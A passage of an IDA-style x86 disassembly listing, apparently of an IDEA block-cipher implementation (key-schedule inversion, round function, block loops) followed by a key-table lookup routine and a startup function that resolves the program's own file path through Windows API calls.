dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = word ptr -7Ch var_78 = dword ptr -78h var_74 = word ptr -74h var_70 = word ptr -70h var_6C = word ptr -6Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push esi push edi mov [ebp+var_80], ecx lea eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_84], ax push [ebp+var_84] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_416431 mov [ebp+var_70], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_74], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_7C], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_88], ax push [ebp+var_88] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_416431 mov ecx, [ebp+var_4] dec ecx dec ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] mov [ecx], ax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_7C] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_74] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx and [ebp+var_78], 0 jmp short loc_416207 ; --------------------------------------------------------------------------- loc_416200: ; CODE XREF: sub_416130+1D7j mov eax, [ebp+var_78] inc eax mov [ebp+var_78], eax loc_416207: ; CODE XREF: sub_416130+CEj cmp [ebp+var_78], 7 jge loc_41630C mov eax, [ebp+arg_0] mov ax, [eax] mov [ebp+var_70], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov cx, [ecx] mov [eax], cx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_8C], ax push [ebp+var_8C] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_416431 mov [ebp+var_70], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_74], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_7C], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_90], ax push [ebp+var_90] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_416431 mov ecx, [ebp+var_4] dec ecx dec ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] mov [ecx], ax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_74] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_7C] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx jmp loc_416200 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_416130+DBj mov eax, [ebp+arg_0] mov ax, [eax] mov [ebp+var_70], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov cx, [ecx] mov [eax], cx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_94], ax push [ebp+var_94] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_416431 mov [ebp+var_70], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_74], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_7C], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_98], ax push [ebp+var_98] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_416431 mov ecx, [ebp+var_4] dec ecx dec ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] mov [ecx], ax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_7C] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_74] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx push 1Ah pop ecx lea esi, [ebp+var_6C] mov edi, [ebp+arg_4] rep movsd and [ebp+var_78], 0 jmp short loc_41641A ; --------------------------------------------------------------------------- loc_416413: ; CODE XREF: sub_416130+2F9j mov eax, [ebp+var_78] inc eax mov [ebp+var_78], eax loc_41641A: ; CODE XREF: sub_416130+2E1j cmp [ebp+var_78], 34h jge short loc_41642B mov eax, [ebp+var_78] and [ebp+eax*2+var_6C], 0 jmp short loc_416413 ; --------------------------------------------------------------------------- loc_41642B: ; CODE XREF: sub_416130+2EEj pop edi pop esi leave retn 8 sub_416130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416431 proc near ; CODE XREF: sub_416130+32p ; sub_416130+81p ... var_14 = dword ptr -14h var_10 = word ptr -10h var_C = word ptr -0Ch var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], ecx movzx eax, [ebp+arg_0] cmp eax, 1 jg short loc_41644C mov ax, [ebp+arg_0] jmp locret_416524 ; --------------------------------------------------------------------------- loc_41644C: ; CODE XREF: sub_416431+10j movzx ecx, [ebp+arg_0] mov eax, 10001h cdq idiv ecx mov [ebp+var_C], ax movzx ecx, [ebp+arg_0] mov eax, 10001h cdq idiv ecx mov [ebp+var_10], dx movzx eax, [ebp+var_10] cmp eax, 1 jnz short loc_41648C movzx eax, [ebp+var_C] push 1 pop ecx sub ecx, eax and ecx, 0FFFFh mov ax, cx jmp locret_416524 ; --------------------------------------------------------------------------- loc_41648C: ; CODE XREF: sub_416431+42j mov [ebp+var_8], 1 loc_416492: ; CODE XREF: sub_416431+DFj movzx eax, [ebp+arg_0] movzx ecx, [ebp+var_10] cdq idiv ecx mov [ebp+var_4], ax movzx eax, [ebp+arg_0] movzx ecx, [ebp+var_10] cdq idiv ecx mov [ebp+arg_0], dx movzx eax, [ebp+var_4] movzx ecx, [ebp+var_C] imul eax, ecx mov cx, [ebp+var_8] add cx, ax mov [ebp+var_8], cx movzx eax, [ebp+arg_0] cmp eax, 1 jnz short loc_4164D5 mov ax, [ebp+var_8] jmp short locret_416524 ; --------------------------------------------------------------------------- loc_4164D5: ; CODE XREF: sub_416431+9Cj movzx eax, [ebp+var_10] movzx ecx, [ebp+arg_0] cdq idiv ecx mov [ebp+var_4], ax movzx eax, [ebp+var_10] movzx ecx, [ebp+arg_0] cdq idiv ecx mov [ebp+var_10], dx movzx eax, [ebp+var_4] movzx ecx, [ebp+var_8] imul eax, ecx mov cx, [ebp+var_C] add cx, ax mov [ebp+var_C], cx movzx eax, [ebp+var_10] cmp eax, 1 jnz short loc_416492 movzx eax, [ebp+var_C] push 1 pop ecx sub ecx, eax and ecx, 0FFFFh mov ax, cx locret_416524: ; CODE XREF: sub_416431+16j ; sub_416431+56j ... leave retn 4 sub_416431 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp+8] mov [ebp-4], eax and dword ptr [ebp-8], 0 jmp short loc_416544 ; --------------------------------------------------------------------------- loc_41653D: ; CODE XREF: _3:00416566j mov eax, [ebp-8] inc eax mov [ebp-8], eax loc_416544: ; CODE XREF: _3:0041653Bj mov eax, [ebp-8] cmp eax, [ebp+0Ch] jge short locret_416568 push dword ptr [ebp-0Ch] push dword ptr [ebp-4] push dword ptr [ebp-4] mov ecx, [ebp-0Ch] call sub_41656C mov eax, [ebp-4] add eax, 8 mov [ebp-4], eax jmp short loc_41653D ; --------------------------------------------------------------------------- locret_416568: ; CODE XREF: _3:0041654Aj leave retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41656C proc near ; CODE XREF: _3:00416558p _3:00416BCBp var_48 = word ptr -48h var_46 = word ptr -46h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = word ptr -38h var_36 = word ptr -36h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = word ptr -2Ch var_28 = word ptr -28h var_24 = dword ptr -24h var_20 = word ptr -20h var_1C = word ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = word ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 48h push ebx mov [ebp+var_30], ecx mov [ebp+var_4], 8 mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_1C], ax mov eax, [ebp+var_18] inc eax inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_20], ax mov eax, [ebp+var_18] inc eax inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_28], ax mov eax, [ebp+var_18] inc eax inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_2C], ax movzx eax, [ebp+var_1C] sar eax, 8 movzx ecx, [ebp+var_1C] shl ecx, 8 or eax, ecx mov [ebp+var_1C], ax movzx eax, [ebp+var_20] sar eax, 8 movzx ecx, [ebp+var_20] shl ecx, 8 or eax, ecx mov [ebp+var_20], ax movzx eax, [ebp+var_28] sar eax, 8 movzx ecx, [ebp+var_28] shl ecx, 8 or eax, ecx mov [ebp+var_28], ax movzx eax, [ebp+var_2C] sar eax, 8 movzx ecx, [ebp+var_2C] shl ecx, 8 or eax, ecx mov [ebp+var_2C], ax loc_416613: ; CODE XREF: sub_41656C+41Ej mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_4166B2 movzx eax, [ebp+var_1C] and eax, 0FFFFh mov [ebp+var_1C], ax movzx eax, [ebp+var_1C] test eax, eax jz short loc_416693 movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_1C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_1C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_1C], ax mov ax, [ebp+var_1C] mov [ebp+var_32], ax jmp short loc_4166A8 ; --------------------------------------------------------------------------- loc_416693: ; CODE XREF: sub_41656C+D8j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_32], ax loc_4166A8: ; CODE XREF: sub_41656C+125j mov ax, [ebp+var_32] mov [ebp+var_34], ax jmp short loc_4166C7 ; --------------------------------------------------------------------------- loc_4166B2: ; CODE XREF: sub_41656C+BFj movzx eax, [ebp+var_1C] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_34], ax loc_4166C7: ; CODE XREF: sub_41656C+144j mov eax, [ebp+arg_8] mov cx, [ebp+var_20] add cx, [eax] mov [ebp+var_20], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov cx, [ebp+var_28] add cx, [eax] mov [ebp+var_28], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_416792 movzx eax, [ebp+var_2C] and eax, 0FFFFh mov [ebp+var_2C], ax movzx eax, [ebp+var_2C] test eax, eax jz short loc_416773 movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_2C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_2C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_2C], ax mov ax, [ebp+var_2C] mov [ebp+var_36], ax jmp short loc_416788 ; --------------------------------------------------------------------------- loc_416773: ; CODE XREF: sub_41656C+1B8j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_36], ax loc_416788: ; CODE XREF: sub_41656C+205j mov ax, [ebp+var_36] mov [ebp+var_38], ax jmp short loc_4167A7 ; --------------------------------------------------------------------------- loc_416792: ; CODE XREF: sub_41656C+19Fj movzx eax, [ebp+var_2C] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_38], ax loc_4167A7: ; CODE XREF: sub_41656C+224j mov ax, [ebp+var_28] mov [ebp+var_14], ax mov ax, [ebp+var_28] xor ax, [ebp+var_1C] mov [ebp+var_28], ax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_41685A movzx eax, [ebp+var_28] and eax, 0FFFFh mov [ebp+var_28], ax movzx eax, [ebp+var_28] test eax, eax jz short loc_41683B movzx eax, [ebp+var_28] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_28], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_28] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_28] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_28], ax mov ax, [ebp+var_28] mov [ebp+var_3A], ax jmp short loc_416850 ; --------------------------------------------------------------------------- loc_41683B: ; CODE XREF: sub_41656C+280j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_28], cx mov ax, [ebp+var_28] mov [ebp+var_3A], ax loc_416850: ; CODE XREF: sub_41656C+2CDj mov ax, [ebp+var_3A] mov [ebp+var_3C], ax jmp short loc_41686F ; --------------------------------------------------------------------------- loc_41685A: ; CODE XREF: sub_41656C+267j movzx eax, [ebp+var_28] push 1 pop ecx sub ecx, eax mov [ebp+var_28], cx mov ax, [ebp+var_28] mov [ebp+var_3C], ax loc_41686F: ; CODE XREF: sub_41656C+2ECj mov ax, [ebp+var_20] mov [ebp+var_C], ax mov ax, [ebp+var_20] xor ax, [ebp+var_2C] mov [ebp+var_20], ax mov ax, [ebp+var_20] add ax, [ebp+var_28] mov [ebp+var_20], ax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_41692E movzx eax, [ebp+var_20] and eax, 0FFFFh mov [ebp+var_20], ax movzx eax, [ebp+var_20] test eax, eax jz short loc_41690F movzx eax, [ebp+var_20] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_20], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_20] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_20] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_20], ax mov ax, [ebp+var_20] mov [ebp+var_3E], ax jmp short loc_416924 ; --------------------------------------------------------------------------- loc_41690F: ; CODE XREF: sub_41656C+354j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_20], cx mov ax, [ebp+var_20] mov [ebp+var_3E], ax loc_416924: ; CODE XREF: sub_41656C+3A1j mov ax, [ebp+var_3E] mov [ebp+var_40], ax jmp short loc_416943 ; --------------------------------------------------------------------------- loc_41692E: ; CODE XREF: sub_41656C+33Bj movzx eax, [ebp+var_20] push 1 pop ecx sub ecx, eax mov [ebp+var_20], cx mov ax, [ebp+var_20] mov [ebp+var_40], ax loc_416943: ; CODE XREF: sub_41656C+3C0j mov ax, [ebp+var_28] add ax, [ebp+var_20] mov [ebp+var_28], ax mov ax, [ebp+var_1C] xor ax, [ebp+var_20] mov [ebp+var_1C], ax mov ax, [ebp+var_2C] xor ax, [ebp+var_28] mov [ebp+var_2C], ax mov ax, [ebp+var_20] xor ax, [ebp+var_14] mov [ebp+var_20], ax mov ax, [ebp+var_28] xor ax, [ebp+var_C] mov [ebp+var_28], ax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz loc_416613 mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_416A2F movzx eax, [ebp+var_1C] and eax, 0FFFFh mov [ebp+var_1C], ax movzx eax, [ebp+var_1C] test eax, eax jz short loc_416A10 movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_1C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_1C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_1C], ax mov ax, [ebp+var_1C] mov [ebp+var_42], ax jmp short loc_416A25 ; --------------------------------------------------------------------------- loc_416A10: ; CODE XREF: sub_41656C+455j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_42], ax loc_416A25: ; CODE XREF: sub_41656C+4A2j mov ax, [ebp+var_42] mov [ebp+var_44], ax jmp short loc_416A44 ; --------------------------------------------------------------------------- loc_416A2F: ; CODE XREF: sub_41656C+43Cj movzx eax, [ebp+var_1C] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_44], ax loc_416A44: ; CODE XREF: sub_41656C+4C1j mov eax, [ebp+arg_8] mov cx, [ebp+var_28] add cx, [eax] mov [ebp+var_28], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov cx, [ebp+var_20] add cx, [eax] mov [ebp+var_20], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] test eax, eax jz loc_416B07 movzx eax, [ebp+var_2C] and eax, 0FFFFh mov [ebp+var_2C], ax movzx eax, [ebp+var_2C] test eax, eax jz short loc_416AE8 movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_2C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_2C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_2C], ax mov ax, [ebp+var_2C] mov [ebp+var_46], ax jmp short loc_416AFD ; --------------------------------------------------------------------------- loc_416AE8: ; CODE XREF: sub_41656C+52Dj movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_46], ax loc_416AFD: ; CODE XREF: sub_41656C+57Aj mov ax, [ebp+var_46] mov [ebp+var_48], ax jmp short loc_416B1C ; --------------------------------------------------------------------------- loc_416B07: ; CODE XREF: sub_41656C+514j movzx eax, [ebp+var_2C] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_48], ax loc_416B1C: ; CODE XREF: sub_41656C+599j mov eax, [ebp+arg_4] mov [ebp+var_8], eax movzx eax, [ebp+var_1C] sar eax, 8 movzx ecx, [ebp+var_1C] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax mov eax, [ebp+var_8] inc eax inc eax mov [ebp+var_8], eax movzx eax, [ebp+var_28] sar eax, 8 movzx ecx, [ebp+var_28] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax mov eax, [ebp+var_8] inc eax inc eax mov [ebp+var_8], eax movzx eax, [ebp+var_20] sar eax, 8 movzx ecx, [ebp+var_20] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax mov eax, [ebp+var_8] inc eax inc eax mov [ebp+var_8], eax movzx eax, [ebp+var_2C] sar eax, 8 movzx ecx, [ebp+var_2C] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax pop ebx leave retn 0Ch sub_41656C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp+8] mov [ebp-4], eax and dword ptr [ebp-8], 0 jmp short loc_416BB3 ; --------------------------------------------------------------------------- loc_416BAC: ; CODE XREF: _3:00416BD9j mov eax, [ebp-8] inc eax mov [ebp-8], eax loc_416BB3: ; CODE XREF: _3:00416BAAj mov eax, [ebp-8] cmp eax, [ebp+0Ch] jge short locret_416BDB mov eax, [ebp-0Ch] add eax, 68h push eax push dword ptr [ebp-4] push dword ptr [ebp-4] mov ecx, [ebp-0Ch] call sub_41656C mov eax, [ebp-4] add eax, 8 mov [ebp-4], eax jmp short loc_416BAC ; --------------------------------------------------------------------------- locret_416BDB: ; CODE XREF: _3:00416BB9j leave retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BE0 proc near ; CODE XREF: sub_41CA0F+1Ap ; sub_41D112+11p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push esi push edi mov eax, ds:dword_424870 mov [ebp+var_4], eax mov ecx, ds:dword_424874 imul ecx, 18h mov edx, ds:dword_424870 add edx, ecx mov [ebp+var_8], edx jmp short loc_416C0F ; --------------------------------------------------------------------------- loc_416C06: ; CODE XREF: sub_416BE0:loc_416C47j mov eax, [ebp+var_4] add eax, 18h mov [ebp+var_4], eax loc_416C0F: ; CODE XREF: sub_416BE0+24j mov ecx, [ebp+var_4] cmp ecx, [ebp+var_8] jz short loc_416C49 mov ecx, 10h mov edi, [ebp+arg_0] mov esi, [ebp+var_4] xor edx, edx mov [ebp+var_C], edx repe cmpsb jz short loc_416C33 sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_C], eax loc_416C33: ; CODE XREF: sub_416BE0+49j mov ecx, [ebp+var_C] mov [ebp+var_10], ecx cmp [ebp+var_10], 0 jnz short loc_416C47 mov edx, [ebp+var_4] mov eax, [edx+10h] jmp short loc_416C4B ; --------------------------------------------------------------------------- loc_416C47: ; CODE XREF: sub_416BE0+5Dj jmp short loc_416C06 ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416BE0+35j xor eax, eax loc_416C4B: ; CODE XREF: sub_416BE0+65j pop edi pop esi mov esp, ebp pop ebp retn sub_416BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C60 proc near ; CODE XREF: sub_418780+Dp var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = dword ptr -198h var_16C = byte ptr -16Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041739F SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421400 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFE1Ch push ebx push esi push edi mov [ebp+var_18], esp push offset dword_424848 call ds:dword_4246CC ; InitializeCriticalSection mov [ebp+var_1C], 0 mov [ebp+var_20], 0 mov [ebp+var_24], 0FFFFFFFFh mov [ebp+var_4], 0 call sub_411E70 and eax, 0FFh mov ds:dword_423B60, eax push 104h call sub_41BA4A add esp, 4 mov [ebp+var_1A8], eax mov eax, [ebp+var_1A8] mov [ebp+var_1C], eax push 220h call sub_41BA4A add esp, 4 mov [ebp+var_1AC], eax mov ecx, [ebp+var_1AC] mov [ebp+var_20], ecx mov ecx, 88h xor eax, eax mov edi, [ebp+var_20] rep stosd push 104h mov edx, [ebp+var_1C] push edx push 0 call ds:dword_424698 ; GetModuleHandleA push eax call ds:dword_424694 ; GetModuleFileNameA mov eax, [ebp+var_20] add eax, 218h push eax mov ecx, [ebp+var_20] add ecx, 10h push ecx push 104h mov edx, [ebp+var_1C] push edx call ds:dword_424688 ; GetFullPathNameA mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh push ecx mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_424748 ; CharUpperBuffA mov ecx, [ebp+var_20] add ecx, 10h mov edx, [ebp+var_20] mov eax, [edx+218h] sub eax, ecx mov ecx, [ebp+var_20] mov [ecx+21Ch], eax mov edi, [ebp+var_20] add edi, 10h or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov [ebp+var_2C], ecx mov edx, [ebp+var_2C] add edx, 1 push edx call sub_41BA4A add esp, 4 mov [ebp+var_1B0], eax mov eax, [ebp+var_1B0] mov ds:dword_42488C, eax mov ecx, [ebp+var_20] add ecx, 10h mov edi, ecx mov edx, ds:dword_42488C or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ds:dword_424604 mov edx, [ecx+24h] and edx, 2 neg edx sbb edx, edx neg edx mov byte ptr [ebp+var_28], dl mov eax, [ebp+var_28] and eax, 0FFh test eax, eax jz loc_416EAD mov ecx, 